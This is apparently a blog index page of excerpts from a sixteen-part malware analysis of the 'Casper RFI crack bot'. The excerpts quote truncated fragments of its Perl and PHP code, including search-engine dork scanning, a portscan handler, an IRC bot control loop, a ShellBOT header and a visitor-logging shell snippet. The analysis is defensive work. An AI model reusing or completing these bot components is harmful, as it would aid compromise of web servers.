casper bot

Casper RFI crack bot – Part 16 – Last Part

So looking over all of the scripts what do we have? What is in use here is a collection of scripts by varying authors from multiple nationalities in different languages.  This in a best case scenario is a script kiddie, also by the fact that he left his gmail address in the script that was...

Casper RFI crack bot – Part 15

What this appears to be looking for is more machines to exploit, big surprise! I followed it back for a bit and this is what I ended up with.

sub se_yahoo {
  my ($chan,$key,$nf) = @_;

sub s_engine {
    my ($f,$se,$type,$chan,$bug,$dork,$ef) = @_;

sub s_cari {
  #Type: 1 = Cari...
			

Casper RFI crack bot – Part 14

One more script listed at the top of the main one.

$filebotscan = "scan.txt";

##[ GOOGLE ]##
sub se_google {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 50; my $max = 5000; my...
			

Casper RFI crack bot – Part 13

There is a few more things that are worth looking at.

 if ($funcarg =~ /^portscan (.*)/) {
             my $hostip="$1";
             my...
			

Casper RFI crack bot – Part 12

So what is going on next,

my $line_temp;
while( 1 ) {
     while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
     delete($irc_servers{''}) if (defined($irc_servers{''}));
     &DCC::connections;
     my @ready = $sel_cliente->can_read(0.6);
     next...
			

Casper RFI crack bot – Part 11

Ok we have a couple more to go through. Next is;

$filebotperl = "iso.txt";

#!/usr/bin/perl
#
#  ShellBOT by: devil__
#       Greetz: Puna, Kelserific
# Comandos:
#           @oldpack <ip>...
			

Casper RFI crack bot – Part 10

The next on the list is

$filebotphp  = "bot.txt";

$dc_source =...
			

Casper RFI crack bot – Part 9

So it looks like sh.txt is all about shell access, wow what a surprise! The next item is def.txt, there is not a whole lot in there beside the defacement message, so we are going to move on. The next item is a tar.gz, psy.tar.gz.  Let's unpack it and look around. It's from a project...

Casper RFI crack bot – Part 8

We have one more to decode, $shell_data

$shell_data = "$visitcount = $HTTP_COOKIE_VARS["visits"];
if( $visitcount == "") {
     $visitcount = 0;
     $visitor = $_SERVER["REMOTE_ADDR"];
     $web = $_SERVER["HTTP_HOST"];
     $inj = $_SERVER["REQUEST_URI"];
     $target =...
			

Casper RFI crack bot – Part 7

At first I was thinking that these might be encrypted, but that did not turn out to be the case. The first one we found was...